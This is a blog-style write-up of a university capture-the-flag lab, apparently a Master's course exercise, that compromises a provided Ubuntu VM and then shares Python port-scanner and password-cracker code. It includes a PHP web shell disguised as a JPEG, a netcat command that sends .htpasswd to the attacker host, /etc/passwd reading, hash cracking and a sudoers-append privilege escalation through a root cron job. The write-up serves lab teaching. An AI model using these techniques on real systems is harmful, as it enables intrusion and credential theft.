Case Study Penetration Testing.

January 2, 2020 12-minute read

ECU • ctf

Target machine port scanning, Apache websrv credentials and first flag. Link to heading

Case study virtual machine running Ubuntu and target’s credentials were provided.
Username: debug, Password: debug.

I used the above credentials to login to the victim machine and to run ifconfig command. There were hints from Unit Coordinator that helped me to find the flags. For example, hint #1 states:

The first flag can be found by “guessing” the default admin credentials for Apache web server.

I didn’t Google all possible default pairs of username/password, because the pair admin/admin was the first I’d tried and succeed. Kali Linux has been used as an “attacker” machine via VMware Fusion v10.1.2. ifconfig result Now, when we know the IP address of the target machine we can go to Kali and perform port scanning using NMAP. Since it is always good to know not just open ports but also what services are running and their versions, the following NMAP command with parameters was used: nmap –O –sV 192.168.94.147 NMAP showed that there were two ports opened on target machine: 22 (ssh) and 80 (http).
Additional information about the OS of the target machine was gathered as well. Unfortunately, NMAP could not figure out the exact OS, but it provides us with kernel version information. OS details: Linux 3.2 – 4.9 not much but at least we know that kernel version is quite up-to-date. We now know port 80 is opened, we can try access the webserver by entering ip address and port number in the address field: 192.168.94.147:80. There were only two links available ‘Login’ and ‘Logout’. And as I said earlier, the correct combination was admin/admin. Here I found the first flag.

Flag1: aechah9shi2iequeethoo5oong7mei7Phes8gah8

Web shells and flag 2 Link to heading

Hint #2:

Think about webshells and how to use them.

There was a link leading to the image uploading page. Firstly, I had to write php webshell script; quick google gave me this code:

1<form action="" method="get">
2cmd > <input type="text" name="cmd" /><input type="submit" value="Exec" />
3</form>
4Output:<br />
5<pre><?php passthru($_RЕQUEST['сmd'], $result); ?></pre>

Then I decided to somehow disguise my php webshell script to look like an image. Actually, the first thing that came to my mind was to edit script’s header hex. Therefore, I opened my scrip in SublimeText with Hexadecimal encoding. Then I added JPEG header hex (FFD8) to the beginning of the file, so that my script looks like the following: shellImg As a result, the script was uploaded successfully, because the system decided it was JPEG file. And simple web shell appears, however, it was not an interactive one. shell Works Img

From here, there were two possible ways to examine the system. The first one was to navigate via the shell we just obtained using the simple Linux commands and their combinations. The second was trying to get an interactive shell, so we can input commands and receive meaningful answers. Despite, the first way is quite a time consuming and it also may be confusing, I decided to use it and the first thing I was looking for was other user accounts on this system using the command cat /etc/passwd. It returned the list of every registered user that has access to the system. Here are the most inetersting results:

1root:x:0:0:root:/root:/bin/bash
2www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
3fred:x:1000:1000:Fredrick Horowitz:/home/fred:/bin/bash
4developer:x:1001:1001:,,,:/home/developer:/bin/bash
5manager:x:1002:1002:,,,:/home/manager:/bin/bash
6debug:x:1003:1003:,,,:/home/debug:/bin/rbash

Unfortunately, every user has ‘x’ next to their usernames, it means that there is an encrypted password for the account.Next logical step was to check directories and check their structure. And I started with the current one, which is upload by initialising command ls –laFh and then I went one directory per time back using the command cd ..; ls –laFh. After a couple of similar commands, I found the file named secret.txt and it contained the second flag. The steps are in the table below:

ls –laFh

1total 12K
2drwxrwxrwx 2 www-data www-data 4.0K Oct 21 05:17 ./
3drwxr-xr-x 4 www-data www-data 4.0K Oct  4 08:51 ../
4-rw-r--r-- 1 www-data www-data  192 Oct 21 04:49 shell.php

cd ..; ls -laFh

1total 32K
2drwxr-xr-x 4 www-data www-data 4.0K Oct  4 08:51 ./
3drwxr-xr-x 3 root     root     4.0K Aug 11 02:43 ../
4-rw-r--r-- 1 www-data www-data  333 Aug 11 05:29 index.php
5-rw-r--r-- 1 www-data www-data 3.8K Aug 12 00:43 login.php
6-rw-r--r-- 1 www-data www-data  140 Aug 11 03:01 logout.php
7drwxr-xr-x 2 www-data www-data 4.0K Aug 11 05:30 private/
8drwxrwxrwx 2 www-data www-data 4.0K Oct 21 05:17 upload/
9-rw-r--r-- 1 root     root     1.4K Aug 12 02:38 upload.php

1total 20K
2drwxr-xr-x 2 www-data www-data 4.0K Aug 11 05:30 ./
3drwxr-xr-x 4 www-data www-data 4.0K Oct  4 08:51 ../
4-r-------- 1 www-data www-data  108 Aug 11 05:20 .htaccess
5-r-------- 1 www-data www-data   49 Aug 11 05:09 .htpasswd
6-r-------- 1 www-data www-data    0 Aug 11 05:10 index.html
7-r-------- 1 www-data www-data   73 Aug 11 05:30 secret.txt

cat ../private/secret.txt

1Flag2: aitied1aequ5me6fieXee3ohjisahchaeTah8phe

And here we are, the second flag.

Flag2: aitied1aequ5me6fieXee3ohjisahchaeTah8phe

Apache web server password hash cracking and flag 3. Link to heading

Hint #3:

There is a password hash near the flag 2.

I decided to check all files within the private/ directory. As a result, one of the files, .htpasswd in particular, contained the username and hashed password in the following format:

developer: $apr1$Wv63/0xM$6hoeCDM.YzSITNZYFf6Bd/

According to Hashcat wiki, that particular hash refers to Apache $apr1$ md5 and contains of following elements:

Part of the hash	Description
$apr1$	Indicates that Apache md5 algorithm is used to generate hash with 32bit salt
$Wv63/0x$	Salt; random value
6hoeCDM.YzSITNZYFf6Bd/	Hash

Now we have to crack it, obviously. We gonna use John. However, the requirement was to develop our own password cracker (this will be covered later).
Let’s copy .htpasswd to our machine using netcat. Set up the listener (receiving end) as following: nc -l -p 4444 > .htpasswd. Then from the webshell run the command: nc -w 3 192.168.94.148 1234 < ../private/htpasswd. We got the file now. Let’s try to crack it using John: john .htpasswd --wordlist=/rockyou.txt --format=md5crypt. Note: we specified the format as md5crypt, otherwise, it will take forever to crack a password that we know shouldn’t be too complex.
Congrats! We got the password:

Password: 1qa2ws3ed

Now, let’s ssh as a developer: ssh 192.169.94.147 –l developer. Enter the obtained password when asked, list all the files within developer’s dir ls -laFh. Output:

 1    total 44K
 2    drwxr-xr-x 5 developer developer 4.0K Oct  2 07:09 ./
 3    drwxr-xr-x 6 root      root      4.0K Aug 11 05:49 ../
 4    -rw------- 1 root      root         1 Aug 11 05:44 .bash_history
 5    -rw-r--r-- 1 developer developer  220 Aug 11 05:21 .bash_logout
 6    -rw-r--r-- 1 developer developer 3.7K Aug 11 05:21 .bashrc
 7    drwx------ 2 developer developer 4.0K Aug 11 05:41 .cache/
 8    drwx------ 3 developer developer 4.0K Aug 11 05:41 .gnupg/
 9    drwxrwxr-x 3 developer developer 4.0K Oct  2 07:06 .local/
10    -r-------- 1 developer developer   48 Aug 11 05:31 mynote.txt
11    -rw-r--r-- 1 developer developer  807 Aug 11 05:21 .profile
12    -rw------- 1 developer developer  902 Oct  2 07:09 .viminfo

then cat mynote.txt, and here we are: the 3rd flag.

flag3: zao1eekeang0Ci1teiv2aish5ohgae8phohnguuf

Manager’s credentials and flag 4. Link to heading

After messing around with new credentials, I found out that I have access to one file in another user’s home dir. His name is fred. The file called .bash_history (sic!). Let’s cat .bash_history:

 1 ls -alFh
 2 ls
 3 ls -alFh
 4 exit
 5 su manager
 6 aina5nahp5vu9Sh
 7 su manager
 8 sudo -s
 9 sudo shutdown -h now
10 ls
11 cd /var/www
12 ls
13 sudo -s
14 crontab -l
15 sudo -s
16 ls
17 ls -alFh
18 nano -w .bash_history 
19 sudo shutdown -h now

Oh hello! we got a password for acc manager. pwd is: aina5nahp5vu9Sh. Also note, user was trying to do something with cron jobs: crontab -l (we might need it later). Let’s switch to a manager’s acc and check the home dir: su manager enter the password when asked and then ls -laFh, bunch of files listed however, two are quite interesting:

1...
2-rwxr-xr-x 1 manager manager   87 Oct  3 02:52 bak.sh
3-r-------- 1 manager manager   48 Aug 11 05:46 readme.txt
4...

Let’s check readme.txt first: cat readme.txt and we got the 4th flag (too EZ lol):

flag4: yieSoh0aeghech6Iequ0Po1uMoh3femaez7vei0M

Now, only one flag left and it has to be something related to that bak.sh* file, let’s cat it (cat bak.sh):

1    #!/bin/bash
2    ### todo, backup logs

Escalating privileges and flag 5. Link to heading

Let’s get back to that cron job command and check if there are any scheduled jobs in the system: cd /etc/cron.d/ && ls -laFh.

1-rw-r--r--  1 root root  121 Aug 12 04:08 backup

BOOM! One strange file called backup, let’s cat it.

1     SHELL=/bin/sh
2     PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
3     */10 * * * * root /usr/backup/backup.sh

Can’t be that easy I thought, but I tried to see what’s inside the /usr/backup/backup.shfile and this was it (cat /usr/backup/backup.sh):

1    #### THIS SCRIPT WILL BE USED TO BACK UP IMPORTANT THINGS!!!! ####
2    /home/manager/bak.sh

User manager owns this file (and we are as well haha), let’s add one line there to make the manager an admin vim ~/bak.sh and add the following line: echo 'manager ALL=(ALL:ALL) ALL' >> /etc/sudoers. Now we have to wait for cronjob to run (a few minutes) and we can login as a sudo user using the command sudo -s. Since we are root now, let’s check the home dir cd ~ && ls -laFh:

1    ...
2    -r--------  1 root root   48 Aug 11 05:47 flag5.txt
3    ...

Hell yeah! We got the flag - cat flag5.txt:

1    flag5: oohu1nar7me8ach8wiech0bailao1beN7ohbahvu

The job’s done :) we got all the flags now.

Extras. Password cracker, port scanner. Link to heading

Since it was the course for Master’s degree, we had to develop our own (simple) password cracker and port scanner. Here is the code for both and screenshots of how they work. Both scripts are written in python v3.6.0, hence use python3 command to run them instead of python.

Port scanner. Link to heading

 1#!/usr/bin/env python
 2import socket
 3import sys
 4from datetime import datetime
 5
 6# The fucntion taht checks if the IPv4 address entered by user is valid
 7# if not -- shows an error.
 8
 9
10def is_valid_ipv4_address(address, errorMessage='Please, enter the valid IPv4 address that loooks like x.x.x.x \nwhere x is digital number from 1 to 255.'):
11    try:
12        socket.inet_pton(socket.AF_INET, address)
13    except AttributeError:
14        print(errorMessage)
15        try:
16            socket.inet_aton(address)
17        except socket.error:
18            print(errorMessage)
19            return False
20        return address.count('.') == 3
21    except socket.error:
22        print(errorMessage)
23        return False
24    return True
25
26
27# Ask for input host IP, port range
28
29while True:
30    targetIP = input("Enter IP address to scan: ")
31    if is_valid_ipv4_address(targetIP):
32        try:
33            startPort = int(input("Enter the port No to start a scan from: "))
34            endPort = int(input("Enter the port No to end the scan: "))
35            break
36
37        except ValueError:
38            print ("Invalid input - Try again. \nRemember to use numbers only.")
39            continue
40
41# format output
42print("=" * 60)
43print("Please wait, scanning remote host > ", targetIP)
44print("=" * 60)
45
46# Check what time the scan started
47startTime = datetime.now()
48
49# Scan all ports within the specified range.
50try:
51    for port in range(startPort, endPort):
52        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
53        result = sock.connect_ex((targetIP, port))
54        if result == 0:
55            print("Port {}: Open".format(port))
56        sock.close()
57
58except socket.error:
59    print("Couldn't connect to server")
60    sys.exit()
61
62# Checking the time again
63endTime = datetime.now()
64
65# Calc total time needed to finish port scanning
66totalTime = endTime - startTime
67print("Scanning Completed in: ", totalTime)

How to use the script:
1.	Create the file named port_scanner.py
2.	Add the above script and save the file
3.	Simply run the script in terminal window using the command ‘python3 port_scanner.py’
4.	Enter the destination IP address when prompted.
5.	Enter the start port number
6.	Enter the end port number
7.	Wait
8.	The output of the script is shown below.

port scanner output

Password Cracker. Link to heading

The ‘passwd’ file should be of the following format:

developer:$apr1$Wv63/0xM$6hoeCDM.YzSITNZYFf6Bd/
martha:$apr1$l5bg8k0d$j7OTSd/dVZW8HOErL5U1F/
Carmina:$apr1$lUi/Mj5m$H1SORhz320TsVxYbmmkpY1
mika:$apr1$evrS5CLJ$xzaz0e2XBSdi3L9Mz54ae1

where the user’s name following by Apache md5crypt hash seprated by colon. ‘wordlist’ file can be any wordlist. However, the first few words from rockyou.txt were used in order to improve script’s performance. Hence, it is recommended to not use the full rockyou.txt file and rather copy first couple of thousand words from there into a new file named ‘wordlist’. In addition, passlib library has been used in this script. To install passlib in your system open terminal and type the following command: pip install passlib.

 1#!/usr/bin/env python
 2import passlib.hash
 3import sys
 4from datetime import datetime
 5
 6# Define variables
 7# counter to keep track of how many passwords were cracked
 8# hashList list to store hashes from file that we found
 9counter = 0
10hashList = []
11
12# Open file that contains list of passwords
13# I used rockyou.txt as the base file
14# Just copied first 1068 words
15try:
16    with open('wordlist') as f:
17        pwdList = f.read().split()
18
19# Since the name of the file is hardcoded, we need to check if file exists, if not
20# exception is handeled
21except IOError:
22    print("No such file or directory!")
23    sys.exit()
24
25# Open file that contains hashes
26# and store hashes to the list hashList
27try:
28    with open('passwd') as f:
29        hashFile = f.read().split()
30        # Check what time the program started to crack passwords
31        startTime = datetime.now()
32        # Loop to split lines from hashFile
33        # and to determine salt and username
34        for line in hashFile:
35            if line.strip():
36                if "$" in line:
37                    salt = line.split("$")[2]
38                if ":" in line:
39                    hashList.append(line.split(":")[-1])
40                    username = line.split(":")[0]
41                    # Loop to check each hashCode from the list
42                    # and compare it to the hashcode of the word from wordlist
43                    for hashCode in hashList:
44                        for pwd in pwdList:
45                                # Passlib function that returns the hash (apache md5_crypt) of word
46                                # from wordlist with given salt
47                            h = passlib.hash.apr_md5_crypt.encrypt(pwd, salt=salt)
48                            if h == hashCode:
49                                # Increase counter by 1 (number of cracked passwords)
50                                counter += 1
51                                # Print the message if password is found
52                                print(('Collision!  The password for {}  is {}').format(username, pwd))
53
54# Since the name of the file is hardcoded, we need to check if file exists, if not
55# exception is handeled
56except IOError:
57    print("No such file or directory!")
58    sys.exit()
59
60# Checking the time again
61endTime = datetime.now()
62
63# Calc total time needed to finish pwd cracking
64totalTime = endTime - startTime
65
66# print the result
67print('total time > ', totalTime)
68print('number of password cracked > ', counter)

How to use the script:
1.	Create the file named pswd_cracker.py
2.	Copy above script to the file and save it.
3.	Ensure that passwd and wordlist files are in the same directory with the script.
4.	Check the format of above files.
5.	Ensure passlib library is installed.
6.	Run the script using command ‘python3 pswd_cracker.py’
7.	Wait till cracking is finished.
8.	The output of the script is shown below.

pwd cracker output

That’s it folks. Thanks for reading :)